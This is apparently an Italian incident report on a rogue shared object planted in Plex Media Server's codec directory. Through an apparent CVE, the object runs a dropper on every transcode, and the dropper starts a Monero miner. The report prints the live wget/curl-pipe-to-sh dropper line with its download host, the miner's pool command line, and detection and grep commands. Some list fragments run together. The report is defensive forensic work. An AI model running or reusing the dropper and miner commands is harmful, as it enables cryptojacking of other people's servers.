
Rapporto sull'incidente: un file .so non firmato nella cache dei codec di Plex Media Server esegue un dropper a ogni transcodifica (CVE-2026-96656) — IOC, STIX, YARA
.so non firmato inserito nella cache dei codec di Plex Media Server esegue un miner Monero a ogni transcodeData dell'incidente: 2026-10-17 → 2026-10-18 (UTC+02:00)
Vulnerabilità: CVE-2026-96656 (CVSS 4.0: 8.6, assegnata da CISA) — corretta in Plex Media Server 1.43.3.10861
Interessato: Plex Media Server 1.43.2.10687 (Linux, container ufficiale linuxserver/plex)
Stato: contenuto; ricostruzione dell'host non necessaria (nessuna persistenza su disco al di fuori della cache dei codec)
Un attaccante con accesso al server Plex ha inserito un oggetto condiviso non firmato denominato
zz45fbb275.so nella directory dei codec dell'applicazione — una directory che Plex popola
da sé e passa a ogni transcoder tramite FFMPEG_EXTERNAL_LIBS. L'oggetto non esporta
nulla e non dichiara dipendenze; il suo intero payload è un singolo costruttore .init_array, quindi viene eseguito nel momento in cui il transcoder lo dlopen()a.
Ogni transcode — un client che preme play, oppure i job di generazione miniature/analisi della libreria — rieseguiva quindi:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
che ha scaricato un miner RandomX derivato da xmrig (x12345) e lo ha avviato contro
ota.proxystream.st:3333 con --rig-id plexdocker. Non c'era alcun cron job, nessuna unit
systemd, nessuna modifica ai file rc e nessun binario modificato: la cache dei codec era il
meccanismo di persistenza. Terminare il miner da solo reinfettava l'host alla successiva
riproduzione.
| Ora | Evento |
|---|---|
| 17 ott 07:50 | Prima sessione WAN da 45.194.92.222; le richieste si autenticano come guest, poi registrano un player Companion e pilotano /player/* e gli endpoint dell'agent |
| 17 ott 17:20 | zz45fbb275.so creato in …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (cambia l'mtime della directory; nessun altro file appare) |
| 17 ott 17:23 | Scritto /tmp/x12345 (8.350.992 byte) |
| 17 ott 17:40 | Miner in esecuzione: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % di CPU |
| 18 ott 10:48 | Seconda catena di dropper generata da un transcode successivo — il payload viene rieseguito su richiesta |
| 18 ott 11:14 | Rilevamento: processo di mining individuato con PPid che punta al PID 1 del container |
| 18 ott 11:20–11:35 | Contenimento: rimosso il .so, Plex aggiornato alla 1.43.4, accesso WAN alla 32400 bloccato |
Il server era raggiungibile da internet (mappatura della porta UPnP di Plex stessa). I log di
Plex mostrano la sorgente 45.194.92.222 che si autentica come guest e invia chiamate
all'agent esattamente nel minuto in cui è apparso il .so; compare anche un secondo indirizzo,
91.92.40.202, con autenticazione guest.
La descrizione pubblica di CVE-2026-96656 corrisponde esattamente a questo artefatto:
Plex Media Server precedente alla 1.43.3.10861 consente a un utente admin di scrivere file arbitrari che possono essere eseguiti al caricamento. La preferenza
TranscoderH264Optionsviene accodata verbatim alla stringa di opzioni di x264 a ogni transcode. All'avvio, tutti i file .so vengono eseguiti senza controlli di firma, bit di esecuzione o simboli.
Due conseguenze che vale la pena dichiarare apertamente:
PR:H). Le richieste autenticate come guest sopra
non spiegano da sole la scrittura del file, quindi il token admin del server deve essere
considerato compromesso a prescindere da come sia stata effettuata la richiesta..so
nella directory dei codec, ed è per questo che una libreria che non fa nulla con un singolo
costruttore costituisce un payload completo.Non abbiamo catturato la richiesta specifica che ha scritto il file — il drop è
documentato dai timestamp del filesystem e dalla catena di esecuzione, non da una cattura
dei pacchetti. La preferenza TranscoderH264Options sull'host colpito è stata trovata
vuota in seguito, quindi il valore usato per scrivere il file è stato o ripristinato o
sovrascritto; questo è l'unico pezzo della catena che non possiamo ricostruire a posteriori.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Poiché il costruttore viene eseguito al caricamento, l'oggetto non deve implementare alcuna API codec. Deve solo trovarsi in una directory da cui il transcoder carica le librerie.
Dettagli sul posizionamento che vale la pena rilevare:
lib*.so; ogni file legittimo nella directory dei codec lo è
(libh264_decoder.so, libhevc_decoder.so, …). zz è stato probabilmente scelto per essere ordinato per ultimo.Codecs/<set-id>-linux-x86_64/) è normalmente scritta solo dal
download dei codec di Plex stesso, i cui file hanno tutti il prefisso lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder è l'unico altro oggetto non-lib
che appartiene a quell'albero.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker è un tag operatore fisso — utile per ricerche pivot nei dati di flusso
e nella telemetria del pool. Il processo è stato trovato nello stato T (fermo) con ~2,3 GB di RSS:
fermo non significa innocuo, riprende e continua a calcolare hash.
PPid puntava al PID 1 del container (s6-svscan) perché il vero genitore era già
uscito — ri-parenting, non supervisione. Il vero lanciatore era visibile solo attraverso
il socketpair condiviso: ss -xp elencava la catena sh/wget, Plex Transcoder, il servizio
tuner e il server Plex sulla stessa coppia di socket, e percorrendo i figli del
Plex Transcoder attivo mostrava il dropper come suo figlio. Il trigger era il transcode stesso.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Qualsiasi corrispondenza che non sia EasyAudioEncoder è sospetta. Segnala anche una directory codec la cui
mtime è cambiata senza che sia stato aggiunto un corrispondente lib*.so.
Controlla la preferenza di cui CVE-2026-96656 abusa per la scrittura arbitraria di file:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Un valore non vuoto merita di essere letto — viene aggiunto verbatim alla stringa di opzioni di x264 a ogni transcode, e qualsiasi cosa a forma di nome file al suo interno finisce scritta su disco. Sull'host qui era vuoto dopo l'incidente, quindi l'assenza non è prova dell'assenza: correlare con l'mtime del file.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f con il pattern nudo ucciderà la shell che lo esegue (il pattern fa parte
della riga di comando di quella shell) — usa la forma tra parentesi quadre o termina tramite PID.